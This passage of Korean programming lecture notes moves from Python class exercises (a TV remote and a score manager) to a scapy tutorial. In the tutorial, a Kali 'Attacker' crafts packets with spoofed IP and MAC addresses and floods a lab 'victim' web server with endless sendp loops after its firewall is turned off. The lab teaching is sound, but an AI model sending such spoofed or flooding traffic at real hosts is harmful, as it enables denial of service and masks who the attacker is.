            print(f&#39;현재 채널 : {self.channel}&#39;)
        else:
            print(self.tvOffMessage)

    # 볼륨을 가져오는 메소드
    def getVolume(self):
        &quot;&quot;&quot;
        현재 볼륨을 가져온다.
        매개 변수 : X
        리턴값 : X
        &quot;&quot;&quot;        
        # print(&#39;getVolume() 메소드 실행&#39;)   
        if self.onOff:                 # TV의 전원이 켜졌는가 ?
            print(f&#39;현재 볼륨 : {self.volume}&#39;)
        else:
            print(self.tvOffMessage)         


    # TV 메뉴 메소드
    def tvmenu(self):
        &quot;&quot;&quot;
        TV 프로그램 메뉴
        매개 변수 : X
        리턴값 : O
        - menu : 메뉴가 저장된 문자열
        &quot;&quot;&quot;

        menu  = f&#39;&gt;&gt;&gt; TV 프로그램 ({self.modelName}) &lt;&lt;&lt;\n&#39;
        menu += f&#39;전원: { &quot;On&quot; if self.onOff == True else &quot;Off&quot; }  &#39;
        menu += f&#39;채널: {self.channel}  &#39;
        menu += f&#39;볼륨: {self.volume}\n&#39;
        menu += &#39;1. TV On/Off\n&#39;
        menu += &#39;2. 채널 증가 ▲\n&#39;
        menu += &#39;3. 채널 감소 ▼\n&#39;
        menu += &#39;4. 채널 직접 변경\n&#39;
        menu += &#39;5. 볼륨 증가 △\n&#39;
        menu += &#39;6. 볼륨 감소 ▽\n&#39;
        menu += &#39;7. 현재 볼륨 확인 ★\n&#39;
        menu += &#39;8. 현재 채널 확인 ☆\n&#39;
        menu += &#39;9. 프로그램 정보\n&#39;
        menu += &#39;q. 프로그램 종료\n&#39;

        return menu

    # 프로그램 정보    
    def tvAbout(self):
        &quot;&quot;&quot;프로그램 정보&quot;&quot;&quot;
        print(&quot;&gt;&gt;&gt; TV 프로그램 정보  &lt;&lt;&lt;&quot;)

        aboutMsg  = &quot;TV 프로그램\n&quot;
        aboutMsg += &quot;버전 : 0.1\n&quot;
        aboutMsg += &quot;프로그램 제작 : 홍길동(hong@naver.com)\n&quot;

        print(aboutMsg)

    # main 함수
    def main(self):
        &quot;&quot;&quot;main&quot;&quot;&quot; 

        while True:

            os.system(&#39;cls&#39;)  # 화면 지우기

            print(self.tvmenu())    # 메뉴 출력
            x = input(&#39;선택 &gt;&gt;&gt; &#39;)  # 메뉴 입력

            # 메뉴 체크
            if   x == &#39;1&#39; :  # TV On/Off
                self.tvOnOff()
            elif x == &#39;2&#39; :  # 채널 증가
                self.channelUp()    
            elif x == &#39;3&#39; :  # 채널 감소
                self.channelDown()
            elif x == &#39;4&#39; :  # 채널 직접 변경
                channel = input(&#39;변경할 채널 : &#39;)
                channel = int(channel) if channel.isdigit() else &#39;&#39;
                if channel : 
                    if channel &gt;= 1 and channel &lt;= 100:
                        self.channelChange(channel)
                    else:
                        print(&#39;채널 번호는 1 ~ 100까지 입니다.&#39;)
                else:
                    print(&#39;채널 번호를 잘못 입력했습니다.&#39;)
            elif x == &#39;5&#39; :  # 볼륨 증가
                self.volumeUp()
            elif x == &#39;6&#39; :  # 볼륨 감소
                self.volumeDown()
            elif x == &#39;7&#39; :  # 현재 볼륨 확인
                self.getVolume()
            elif x == &#39;8&#39; :  # 현재 채널 확인
                self.getChannel()
            elif x == &#39;9&#39; :  # 프로그램 정보
                self.tvAbout()                                                
            elif x == &#39;q&#39; :  # 프로그램 종료
                print(&quot;MyTV 프로그램을 종료합니다...&quot;)
                break
            else:            # 그외의 모든 값
                print(&#39;1 ~ 9 or q중에서 입력해야 합니다.&#39;)

            input()

# 2. 객체(인스턴스) 생성
mytv = MyTV()

# 3. 객체(인스턴스) 실행
mytv.main()
-- tvclass.py --
</code></pre><blockquote>
<p><strong>실습&gt; 함수형 프로그램을 클래스 형태로 변환하기</strong></p>
</blockquote>
<pre><code>파일명: 점수관리프로그램.py
클래스명 : Jumsu
인스턴스명 : jumsu

1. class Jumsu 를 생성한다.
2. 모든 함수들을 Jumsu class 안에 넣는다.
3. 모든 메소드(함수) 정의 부분에 self를 추가한다.
4. 각 메소드(함수)에서 변수를 참조하거나 메소드(함수)호출 앞에 self 를 붙인다.
5. 인스턴스 jumsu를 생성한다.
6. jumsu 인스턴스 안에 있는 main() 메소드를 실행한다.

-- 점수관리프로그램.py --
&quot;&quot;&quot;
파일명 : 점수관리프로그램.py
프로그램 설명 : 점수 관리 프로그램
작성자 : 리눅스마스터
작성일 : 2023.3.15
&quot;&quot;&quot;

import os

def jumsuAdd():
    &quot;&quot;&quot;점수 추가&quot;&quot;&quot;

    global kor, eng, math, total, average

    # 1. 점수 입력
    print(&quot;점수를 입력하세요.&quot;)
    kor  = input(&quot;국어 점수 : &quot;)
    eng  = input(&quot;영어 점수 : &quot;)
    math = input(&quot;수학 점수 : &quot;)

    # 2. 점수 체크
    kor  = int(kor)  # if kor.isdigit()  else 0
    eng  = int(eng)  # if eng.isdigit()  else 0
    math = int(math) # if math.isdigit() else 0

    # 3. 점수 계산
    total = kor + eng + math  # 총점 
    #total = sum([kor, eng, math])  # 총점  
    average = total / 3  # 평균 

    # 4. 점수 출력
    print(&quot;\n===== 점수의 결과 =====\n&quot;
        f&quot;국어 점수 : {kor}\n&quot;
        f&quot;영어 점수 : {eng}\n&quot;
        f&quot;수학 점수 : {math}\n&quot;
        f&quot;총점 : {total}\n&quot;
        f&quot;평균 : {average:.2f}\n&quot;
        &quot;===== 점수의 결과 =====&quot;)

    print(&#39;엔터키를 누르세요...&#39;)
    input()

def jumsuView():
    &quot;&quot;&quot;점수 확인&quot;&quot;&quot;

    # 점수 출력
    print(&quot;\n===== 점수의 결과 =====\n&quot;
        f&quot;국어 점수 : {kor}\n&quot;
        f&quot;영어 점수 : {eng}\n&quot;
        f&quot;수학 점수 : {math}\n&quot;
        f&quot;총점 : {total}\n&quot;
        f&quot;평균 : {average:.2f}\n&quot;
        &quot;===== 점수의 결과 =====&quot;)

    print(&#39;엔터키를 누르세요...&#39;)
    input()

def jumsuMenu():
    &quot;&quot;&quot;메뉴&quot;&quot;&quot;
    menu  = &#39;&gt;&gt;&gt; 점수 관리 프로그램 &lt;&lt;&lt;\n&#39;
    menu += &#39;1. 점수 추가\n&#39;
    menu += &#39;2. 점수 확인\n&#39;
    menu += &#39;q. 프로그램 종료&#39;

    print(menu)

def main():
    &quot;&quot;&quot;main 함수&quot;&quot;&quot;

    while True:

        os.system(&#39;cls&#39;)  # 화면 지우기

        jumsuMenu()
        x = input(&#39;선택 &gt;&gt;&gt; &#39;)  # 메뉴 입력

        # 메뉴 체크
        if   x == &#39;1&#39; :
            jumsuAdd()
        elif x == &#39;2&#39; :
            jumsuView()
        elif x == &#39;q&#39; : 
            break
        else:
            print(&#39;1, 2, q 중에서 입력하세요.&#39;)

main()

print(&#39;점수 관리 프로그램을 종료합니다.&#39;)       
-- 점수관리프로그램.py --

-- 점수관리프로그램.py --
&quot;&quot;&quot;
파일명 : 점수관리프로그램.py
프로그램 설명 : 점수 관리 프로그램
작성자 : 리눅스마스터
작성일 : 2023.3.15
&quot;&quot;&quot;

import os

class Jumsu:
    def jumsuAdd(self):
        &quot;&quot;&quot;점수 추가&quot;&quot;&quot;

        # 1. 점수 입력
        print(&quot;점수를 입력하세요.&quot;)
        self.kor  = input(&quot;국어 점수 : &quot;)
        self.eng  = input(&quot;영어 점수 : &quot;)
        self.math = input(&quot;수학 점수 : &quot;)

        # 2. 점수 체크
        self.kor  = int(self.kor)  # if self.kor.isdigit()  else 0
        self.eng  = int(self.eng)  # if self.eng.isdigit()  else 0
        self.math = int(self.math) # if self.math.isdigit() else 0

        # 3. 점수 계산
        self.total = self.kor + self.eng + self.math  # 총점 
        #self.total = sum([self.kor, self.eng, self.math])  # 총점  
        self.average = self.total / 3  # 평균 

        # 4. 점수 출력
        print(&quot;\n===== 점수의 결과 =====\n&quot;
            f&quot;국어 점수 : {self.kor}\n&quot;
            f&quot;영어 점수 : {self.eng}\n&quot;
            f&quot;수학 점수 : {self.math}\n&quot;
            f&quot;총점 : {self.total}\n&quot;
            f&quot;평균 : {self.average:.2f}\n&quot;
            &quot;===== 점수의 결과 =====&quot;)

        print(&#39;엔터키를 누르세요...&#39;)
        input()

    def jumsuView(self):
        &quot;&quot;&quot;점수 확인&quot;&quot;&quot;

        # 점수 출력
        print(&quot;\n===== 점수의 결과 =====\n&quot;
            f&quot;국어 점수 : {self.kor}\n&quot;
            f&quot;영어 점수 : {self.eng}\n&quot;
            f&quot;수학 점수 : {self.math}\n&quot;
            f&quot;총점 : {self.total}\n&quot;
            f&quot;평균 : {self.average:.2f}\n&quot;
            &quot;===== 점수의 결과 =====&quot;)

        print(&#39;엔터키를 누르세요...&#39;)
        input()

    def jumsuMenu(self):
        &quot;&quot;&quot;메뉴&quot;&quot;&quot;
        menu  = &#39;&gt;&gt;&gt; 점수 관리 프로그램 &lt;&lt;&lt;\n&#39;
        menu += &#39;1. 점수 추가\n&#39;
        menu += &#39;2. 점수 확인\n&#39;
        menu += &#39;q. 프로그램 종료&#39;

        print(menu)

    def main(self):
        &quot;&quot;&quot;main 함수&quot;&quot;&quot;

        while True:

            os.system(&#39;cls&#39;)  # 화면 지우기

            self.jumsuMenu()
            x = input(&#39;선택 &gt;&gt;&gt; &#39;)  # 메뉴 입력

            # 메뉴 체크
            if   x == &#39;1&#39; :
                self.jumsuAdd()
            elif x == &#39;2&#39; :
                self.jumsuView()
            elif x == &#39;q&#39; : 
                break
            else:
                print(&#39;1, 2, q 중에서 입력하세요.&#39;)

jumsu = Jumsu()
jumsu.main()

print(&#39;점수 관리 프로그램을 종료합니다.&#39;)      
-- 점수관리프로그램.py --
</code></pre><p><strong>패킷 조작 툴: scapy</strong>
패킷 구조를 공부할 수 있는 장점이 있다.
<a href="https://scapy.readthedocs.io/en/latest/">https://scapy.readthedocs.io/en/latest/</a></p>
<blockquote>
<p><strong>실습&gt; 윈도우에서 scapy 설치하기</strong></p>
</blockquote>
<pre><code>가상환경으로 사용한다.

가상환경 : 
파이썬을 가상으로 환경을 프로젝트별로 구축해서 사용하는 환경이다.
실무에서 많이 사용하는 것이므로 잘 알아두어야 한다.

가상환경을 이용해서 프로젝트를 생성하는 방법
- bash, CMD/PS(Power Shell) 에서 생성하는 방법
- VScode, Pycharm에서 생성하는 방법

가상환경을 사용하지 않은 환경
Python 3.x
+-----+
|     |
|     |
+-----+

가상환경을 사용한 환경
Python 3.x     복제된 가상환경 Python 3.x
+-----+        +-----+
|     | ----&gt;  |     |
|     |        |     |
+-----+        +-----+
                  :  
                  :(여러 개 만들 수 있다.)



각자 자신의 워크스페이스에서 작업한다.
자신의 워크스페이스는 모두 다를 수 있다.

1. 가상환경 생성
현재 설치된 파이썬을 복제한다.
워크스페이스 폴더: D:\pythonWorkspace (각자 다르다.)
가상환경 폴더: scapyTest
형식: python -m venv &lt;가상환경이름&gt;
D:\pythonWorkspace&gt;python -m venv scapyTest

2. 가상환경 변경
가상환경이 생성되면 가상환경으로 변경한다.
형식: &lt;가상환경이름&gt;\Scripts\activate
D:\pythonWorkspace&gt;cd scapyTest\Scripts
D:\pythonWorkspace\scapyTest\Scripts&gt;dir

복제된 환경으로 사용한다.
D:\pythonWorkspace\scapyTest\Scripts&gt; activate
(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;

VSCode 에서도 가상환경으로 변경한다.
오른쪽 하단에 3.11.2 64bit를 클릭해서 가상환경의 경로를 선택한다.

[3.11.2 64bit] &gt; [3.11.2(&#39;scapyTest&#39;:venv)

(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;

3. pip 업그레이드
가상환경으로 변경하면 반드시 pip 명령어를 업그레이드해야 한다.
형식 1: python -m pip install --upgrade pip 
형식 2: pip install --upgrade pip
(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;python -m pip install --upgrade pip

4. 패키지 설치
yum 처럼 pip 명령어를 이용해서 파이썬에서 제공되는 패키지를 설치한다.
형식 1: python -m pip install &lt;패키지명&gt;
형식 2: pip install pymysql
패키지가 설치되는 경로: &lt;워크스페이스&gt;\&lt;가상환경이름&gt;\Lib\site-packages

pymysql 패키지를 설치한다.
(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;python -m pip install pymysql

(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;python -m pip list
Package    Version
---------- -------
pip        23.0.1
PyMySQL    1.0.2
setuptools 65.5.0

(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;pip list
Package    Version
---------- -------
pip        23.0.1
PyMySQL    1.0.2
setuptools 65.5.0

패키지가 설치되는 경로: &lt;워크스페이스&gt;\&lt;가상환경이름&gt;\Lib\site-packages
PyMySQL 패키지가 &lt;워크스페이스&gt;\&lt;가상환경이름&gt;\Lib\site-packages에 저장된다.
D:\pythonWorkspace\scapyTest\Lib\site-packages
    &lt;워크스페이스&gt;&lt;가상환경명&gt;

5. 가상환경 종료
형식: &lt;워크스페이스&gt;\&lt;가상환경이름&gt;\Scripts deactivate.bat

가상환경을 종료한다.
(scapyTest) D:\pythonWorkspace\scapyTest\Scripts&gt;deactivate.bat
D:\pythonWorkspace\scapyTest\Scripts&gt;python
Python 3.11.2 (tags/v3.11.2:878ead1, Feb  7 2023, 16:38:35) [MSC v.1934 64 bit (AMD64)] on win32
Type &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.
&gt;&gt;&gt; import pymysql
&gt;&gt;&gt; exit()
</code></pre><blockquote>
<p><strong>실습&gt; scapy 설치하기</strong></p>
</blockquote>
<pre><code>가상환경 scapyTest를 생성해서 scapy를 설치한다.

1. 패키지 설치
VSCode에서 cmd창을 열어서 작성한다.
(scapyTest) D:\pythonWorkspace&gt;pip install scapy
(scapyTest) D:\pythonWorkspace&gt;pip list
Package    Version
---------- -------
pip        23.0.1
PyMySQL    1.0.2
scapy      2.5.0    &lt;-- 설치된 scapy (&lt;워크스페이스&gt;\&lt;가상환경이름&gt;\Lib\site-packages)
setuptools 65.5.0

2. scapy 실행
(scapyTest) D:\pythonWorkspace&gt;scapy
  :
  :(생략)
&gt;&gt;&gt; a = IP(ttl=10)
&gt;&gt;&gt; a.src
&#39;127.0.0.1&#39;
&gt;&gt;&gt; a
&lt;IP  ttl=10 |&gt;
&gt;&gt;&gt;
</code></pre><blockquote>
<p><strong>실습&gt; Kali Linux에서 scapy 사용하기</strong></p>
</blockquote>
<pre><code>[root@kali ~]# scapy 

&gt;&gt;&gt; a = IP()
&gt;&gt;&gt; a
&lt;IP  |&gt;
&gt;&gt;&gt; a = IP(ttl=10)
&gt;&gt;&gt; a
&lt;IP  ttl=10 |&gt;
&gt;&gt;&gt; a.src
&#39;127.0.0.1&#39;
&gt;&gt;&gt; a.dst
&#39;127.0.0.1&#39;
&gt;&gt;&gt; a.src = &#39;200.200.200.4&#39;
&gt;&gt;&gt; a.src
&#39;200.200.200.4&#39;
&gt;&gt;&gt; a.dst = &#39;200.200.200.3&#39;
&gt;&gt;&gt; a
&lt;IP  ttl=10 src=200.200.200.4 dst=200.200.200.3 |&gt;
&gt;&gt;&gt; quit


</code></pre><blockquote>
<p><strong>실습&gt; 리눅스에서 가상환경 사용하기</strong></p>
</blockquote>
<pre><code>1. 파이썬 설치
# yum -y install python3

2. 가상환경 프로젝트 생성
가상환경 프로젝트 2개를 생성한다.
venv(Virtual ENvirenment)
가상환경 생성 형식:
리눅스: python3 -m venv 가상환경이름(프로젝트명)
# python3 -m venv scapyTest

3. 가상환경 활성화
첫 번째 가상환경 project1 bin/activate 를 실행해서 가상환경을 활성화 한다.
!!! 여기서는 테스트이므로 root 사용자로 실행하지만 실제로는 일반유저에서 사용해야 한다. !!!
[root@victim3 ~]# . scapyTest/bin/activate
(scapyTest) [root@victim3 ~]# 

가상환경을 해제할 때는 deactivate를 실행한다.
(scapyTest) [root@victim3 ~]# deactivate 


4. pip 업그레이드
가상환경으로 변경되면 반드시 pip 업그레이드를 한번 실행해서 최신버전으로 유지해야 한다.
[root@victim3 ~]# . scapyTest/bin/activate
(scapyTest) [root@victim3 ~]# python -m pip install --upgrade pip

5. 패키지 확인
(scapyTest) [root@victim3 ~]# pip list
Package    Version
---------- -------
php        1.2.1
pip        21.3.1
setuptools 39.2.0

6. 패키지 설치
(scapyTest) [root@victim3 ~]#  pip install pymysql
(scapyTest) [root@victim3 ~]# pip list
Package    Version
---------- -------
php        1.2.1
pip        21.3.1
PyMySQL    1.0.2
setuptools 39.2.0

(scapyTest) [root@victim3 ~]#  pip install scapy

(scapyTest) [root@victim3 ~]# scapy
&gt;&gt;&gt; 


&gt;&gt;&gt; 정리 &lt;&lt;&lt;
가상환경을 일반 유저에서도 사용이 가능하다.
[root@victim3 ~]# yum -y install python3  &lt;-- root 권한이 필요
[root@victim3 ~]# su - user1

나머지는 모두 일반 사용자에서 사용이 가능하다.
[user1@victim3 ~]$ python3 -m venv projectTest
[user1@victim3 ~]$ . projectTest/bin/activate
(scapyTest) [user1@victim3 ~]$ python -m pip install --upgrade pip
(scapyTest) [user1@victim3 ~]$ pip install pymysql
(scapyTest) [user1@victim3 ~]$ pip list
Package    Version
---------- -------
pip        21.3.1
PyMySQL    1.0.2
setuptools 39.2.0
(scapyTest) [user1@victim3 ~]$ deactivate 
[user1@victim3 ~]$ rm -rf projectTest
[user1@victim3 ~]$ exit

scapy 는 패킷을 조작해야 하므로 root권한이 필요하다.
[root@victim3 ~]# python3 -m venv scapyTest
[root@victim3 ~]# . scapyTest/bin/activate
(scapyTest) [root@victim3 ~]# python -m pip install --upgrade pip
(scapyTest) [root@victim3 ~]# python -m pip install scapy
(scapyTest) [root@victim3 ~]# python -m pip list
Package    Version
---------- -------
pip        21.3.1
scapy      2.5.0    &lt;-- /root/scapyTest/lib/python3.6/site-packages/
setuptools 39.2.0

(scapyTest) [root@victim3 ~]# scapy
  :
  :(생략)
&gt;&gt;&gt; 


Ether 헤더를 생성한다.
&gt;&gt;&gt; packet = Ether()
&gt;&gt;&gt; packet.show()
WARNING: Mac address to reach destination not found. Using broadcast.
###[ Ethernet ]### 
  dst       = ff:ff:ff:ff:ff:ff
  src       = 00:0c:29:3d:bf:69  &lt;-- 자신의 MAC 주소
  type      = LOOP


ARP 헤더를 생성한다.
&gt;&gt;&gt; packet = ARP()
&gt;&gt;&gt; packet.show()
###[ ARP ]### 
  hwtype    = Ethernet (10Mb)
  ptype     = IPv4
  hwlen     = None
  plen      = None
  op        = who-has
  hwsrc     = 00:0c:29:3d:bf:69
  psrc      = 200.200.200.6
  hwdst     = 00:00:00:00:00:00
  pdst      = 0.0.0.0

IP 헤더를 생성한다.
&gt;&gt;&gt; packet = IP()
&gt;&gt;&gt; packet.show()
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = hopopt
  chksum    = None
  src       = 127.0.0.1
  dst       = 127.0.0.1
  \options   \

&gt;&gt;&gt; del packet

ICMP 헤더를 생성한다.
&gt;&gt;&gt; packet = ICMP()
&gt;&gt;&gt; packet.show()
###[ ICMP ]### 
  type      = echo-request
  code      = 0
  chksum    = None
  id        = 0x0
  seq       = 0x0
  unused    = &#39;&#39;


UDP 패킷을 생성한다.
&gt;&gt;&gt; packet = UDP()   &lt;-- s1 = Student()
&gt;&gt;&gt; packet           &lt;-- s1
&lt;UDP  |&gt;
&gt;&gt;&gt; packet.show()    &lt;-- s1.printAge()
###[ UDP ]### 
  sport     = domain
  dport     = domain
  len       = None
  chksum    = None

[Attacker]3000 --------------&gt; 53[DNS]

&gt;&gt;&gt; packet.sport = 3000   
&gt;&gt;&gt; packet.dport = 53
&gt;&gt;&gt; packet.show()
###[ UDP ]### 
  sport     = hbci
  dport     = domain
  len       = None
  chksum    = None

[root@victim3 ~]# grep ^hbci /etc/services 
hbci            3000/tcp                # HBCI
hbci            3000/udp                # HBCI
[root@victim3 ~]# grep ^domain /etc/services 
domain          53/tcp                          # name-domain server

TCP 헤더를 생성한다.
&gt;&gt;&gt; packet = TCP()
&gt;&gt;&gt; packet
&lt;TCP  |&gt;
&gt;&gt;&gt; packet.show()
###[ TCP ]### 
  sport     = ftp_data
  dport     = http
  seq       = 0
  ack       = 0
  dataofs   = None
  reserved  = 0
  flags     = S
  window    = 8192
  chksum    = None
  urgptr    = 0
  options   = &#39;&#39;
&gt;&gt;&gt; del packet




s1 = Student()
s1.setAge(10)  # 10살 세팅
s1.printAge()  # 10살 출력

s1 = Student(10)
s1.printAge()  # 10살 출력

&gt;&gt;&gt; packet = IP(src=&#39;1.1.1.1&#39;,dst=&#39;200.200.200.6&#39;)
&gt;&gt;&gt; packet.show()
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 64
  proto     = hopopt
  chksum    = None
  src       = 1.1.1.1
  dst       = 200.200.200.6
  \options   \

참고: https://cafe.naver.com/linuxmasternet/1592

&gt;&gt;&gt; packet = IP(dst=&#39;2.2.2.2&#39;, ttl=128, src=&#39;1.2.3.4&#39;)
&gt;&gt;&gt; packet.show()
###[ IP ]### 
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     = 
  frag      = 0
  ttl       = 128
  proto     = hopopt
  chksum    = None
  src       = 1.2.3.4
  dst       = 2.2.2.2
  \options   \

&gt;&gt;&gt; a = Ether(src=&quot;11:22:33:44:55:66&quot;)
&gt;&gt;&gt; a.show()
WARNING: Mac address to reach destination not found. Using broadcast.
###[ Ethernet ]### 
  dst       = ff:ff:ff:ff:ff:ff
  src       = 11:22:33:44:55:66
  type      = LOOP

&gt;&gt;&gt; a.show()
WARNING: Mac address to reach destination not found. Using broadcast.
###[ Ethernet ]### 
  dst       = ff:ff:ff:ff:ff:ff
  src       = 00:0c:29:3d:bf:69
  type      = LOOP


-- scapy1.py --
class Ether:
    def __init__(self, 
                 src=&#39;00:0c:29:3d:bf:69&#39;,
                 dst=&#39;ff:ff:ff:ff:ff:ff&#39;,
                 type=&#39;LOOP&#39;):
        self.src = src
        self.dst = dst
        self.type = type

    def show(self):
        print(&#39;###[ Ethernet ]###&#39;)
        print(f&#39;dst       = {self.dst}&#39;)
        print(f&#39;src       = {self.src}&#39;)
        print(f&#39;type      = {self.type}&#39;)

a = Ether()
a.show()
-- scapy1.py --

###[ Ethernet ]###
dst       = ff:ff:ff:ff:ff:ff
src       = 00:0c:29:3d:bf:69
type      = LOOP</code></pre><blockquote>
<p><strong>실습&gt; Ether 클래스 만들기</strong></p>
</blockquote>
<pre><code>실제 이렇게 작성되었는지 실제 소스를 봐야하고 가상으로 작성한 것이다.

-- scapy1.py --
class Ether:

    # 생성자
    def __init__(self, 
                 src=&#39;00:0c:29:3d:bf:69&#39;,
                 dst=&#39;ff:ff:ff:ff:ff:ff&#39;,
                 type=&#39;LOOP&#39;):
        self.src = src
        self.dst = dst
        self.type = type

    def show(self):
        &quot;&quot;&quot; 메소드 &quot;&quot;&quot;
        print(&#39;###[ Ethernet ]###&#39;)
        print(f&#39;dst       = {self.dst}&#39;)
        print(f&#39;src       = {self.src}&#39;)
        print(f&#39;type      = {self.type}&#39;)

# 1. 객체 생성
a = Ether(src=&quot;11:22:33:44:55:66&quot;)

# 2. 메소드 호출
a.show()
-- scapy1.py --

###[ Ethernet ]###
dst       = ff:ff:ff:ff:ff:ff
src       = 11:22:33:44:55:66
type      = LOOP
</code></pre><blockquote>
<p><strong>실습&gt; 순서대로 자세히 출력</strong></p>
</blockquote>
<pre><code>&gt;&gt;&gt; a = Ether()
&gt;&gt;&gt; ls(a)
&gt;&gt;&gt; b = ARP()
&gt;&gt;&gt; ls(b)
&gt;&gt;&gt; c = IP()
&gt;&gt;&gt; ls(c)
&gt;&gt;&gt; d = ICMP()
&gt;&gt;&gt; ls(d)
&gt;&gt;&gt; e = UDP()
&gt;&gt;&gt; ls(e)
&gt;&gt;&gt; f = TCP()
&gt;&gt;&gt; ls(f)
&gt;&gt;&gt; g = DNS()
&gt;&gt;&gt; ls(g)


&gt;&gt;&gt; packet = Ether()/IP()/TCP()
&gt;&gt;&gt; packet
&lt;Ether  type=IPv4 |&lt;IP  frag=0 proto=tcp |&lt;TCP  |&gt;&gt;&gt;
&gt;&gt;&gt; ls(packet)
dst        : DestMACField                        = &#39;ff:ff:ff:ff:ff:ff&#39; (&#39;None&#39;)
src        : SourceMACField                      = &#39;00:00:00:00:00:00&#39; (&#39;None&#39;)
type       : XShortEnumField                     = 2048            (&#39;36864&#39;)
--
version    : BitField  (4 bits)                  = 4               (&#39;4&#39;)
ihl        : BitField  (4 bits)                  = None            (&#39;None&#39;)
tos        : XByteField                          = 0               (&#39;0&#39;)
len        : ShortField                          = None            (&#39;None&#39;)
id         : ShortField                          = 1               (&#39;1&#39;)
flags      : FlagsField                          = &lt;Flag 0 ()&gt;     (&#39;&lt;Flag 0 ()&gt;&#39;)
frag       : BitField  (13 bits)                 = 0               (&#39;0&#39;)
ttl        : ByteField                           = 64              (&#39;64&#39;)
proto      : ByteEnumField                       = 6               (&#39;0&#39;)
chksum     : XShortField                         = None            (&#39;None&#39;)
src        : SourceIPField                       = &#39;127.0.0.1&#39;     (&#39;None&#39;)
dst        : DestIPField                         = &#39;127.0.0.1&#39;     (&#39;None&#39;)
options    : PacketListField                     = []              (&#39;[]&#39;)
--
sport      : ShortEnumField                      = 20              (&#39;20&#39;)
dport      : ShortEnumField                      = 80              (&#39;80&#39;)
seq        : IntField                            = 0               (&#39;0&#39;)
ack        : IntField                            = 0               (&#39;0&#39;)
dataofs    : BitField  (4 bits)                  = None            (&#39;None&#39;)
reserved   : BitField  (3 bits)                  = 0               (&#39;0&#39;)
flags      : FlagsField                          = &lt;Flag 2 (S)&gt;    (&#39;&lt;Flag 2 (S)&gt;&#39;)
window     : ShortField                          = 8192            (&#39;8192&#39;)
chksum     : XShortField                         = None            (&#39;None&#39;)
urgptr     : ShortField                          = 0               (&#39;0&#39;)
options    : TCPOptionsField                     = []              (&quot;b&#39;&#39;&quot;)
</code></pre><blockquote>
<p><strong>실습&gt; scapy를 이용한 패킷 전송</strong></p>
</blockquote>
<pre><code>Attacker(Kali)  : 200.200.200.3 00:0c:29:28:37:34
Victim3(CentOS7): 200.200.200.6 00:0c:29:3d:bf:69

1. 방화벽 중지
[root@victim3 ~]# systemctl stop firewalld
[root@victim3 ~]# iptables -F

2. 웹서버 실행
[root@victim3 ~]# systemctl start httpd

3. 패킷 모니터링
[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and host 200.200.200.3 and tcp -vv
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

4. scapy 실행
[root@kali ~]# scapy

IPv4 패킷 생성
형식: 변수 = Ether(옵션)/IP(옵션)/TCP(옵션)
&gt;&gt;&gt; packet = Ether(dst=&#39;00:0c:29:3d:bf:69&#39;)/IP(ttl=2,dst=&#39;200.200.200.6&#39;)/TCP(dport=80)
&gt;&gt;&gt; ls(packet)
dst        : DestMACField                        = &#39;00:0c:29:3d:bf:69&#39; (&#39;None&#39;)  &lt;-- 
src        : SourceMACField                      = &#39;00:0c:29:28:37:34&#39; (&#39;None&#39;)
type       : XShortEnumField                     = 2048            (&#39;36864&#39;)
--
version    : BitField  (4 bits)                  = 4               (&#39;4&#39;)
ihl        : BitField  (4 bits)                  = None            (&#39;None&#39;)
tos        : XByteField                          = 0               (&#39;0&#39;)
len        : ShortField                          = None            (&#39;None&#39;)
id         : ShortField                          = 1               (&#39;1&#39;)
flags      : FlagsField                          = &lt;Flag 0 ()&gt;     (&#39;&lt;Flag 0 ()&gt;&#39;)
frag       : BitField  (13 bits)                 = 0               (&#39;0&#39;)
ttl        : ByteField                           = 2               (&#39;64&#39;)  &lt;--
proto      : ByteEnumField                       = 6               (&#39;0&#39;)
chksum     : XShortField                         = None            (&#39;None&#39;)
src        : SourceIPField                       = &#39;200.200.200.3&#39; (&#39;None&#39;)
dst        : DestIPField                         = &#39;200.200.200.6&#39; (&#39;None&#39;)
options    : PacketListField                     = []              (&#39;[]&#39;)
--
sport      : ShortEnumField                      = 20              (&#39;20&#39;)
dport      : ShortEnumField                      = 80              (&#39;80&#39;)  &lt;--
seq        : IntField                            = 0               (&#39;0&#39;)
ack        : IntField                            = 0               (&#39;0&#39;)
dataofs    : BitField  (4 bits)                  = None            (&#39;None&#39;)
reserved   : BitField  (3 bits)                  = 0               (&#39;0&#39;)
flags      : FlagsField                          = &lt;Flag 2 (S)&gt;    (&#39;&lt;Flag 2 (S)&gt;&#39;)
window     : ShortField                          = 8192            (&#39;8192&#39;)
chksum     : XShortField                         = None            (&#39;None&#39;)
urgptr     : ShortField                          = 0               (&#39;0&#39;)
options    : TCPOptionsField                     = []              (&quot;b&#39;&#39;&quot;)

[root@victim3 ~]# tcpdump -nn -i ens33 not port 22 and host 200.200.200.3 and tcp -vv
tcpdump: listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes

패킷 1개 보내기
형식: sendp(packet)
count 인수가 없으면 default 매개변수의 값이 1로 설정되므로 패킷이 1개가 전송된다.
sendp(packet)  == sendp(packet, count=1) == sendp(packet, count=1, loop=0)
&gt;&gt;&gt; sendp(packet)

패킷 1000개 전송
count 인수가 1000으로 설정되므로 패킷이 10,000개가 전송된다.
- count변수에 패킷 개수를 설정하고 전송한다.
&gt;&gt;&gt; sendp(packet, count=10000)

패킷 무한루프 전송
- loop변수에 1을 설정하고 전송한다.
- 종료는 Ctrl + C를 누른다.
형식: sendp(packet, loop=1)
&gt;&gt;&gt; sendp(packet, loop=1)

</code></pre><blockquote>
<p><strong>실습&gt; 패킷 전송 프로그램 제작하기</strong></p>
</blockquote>
<pre><code>scapy 가 내부적으로 socket 을 이용한다.

1. 패킷 모니터링
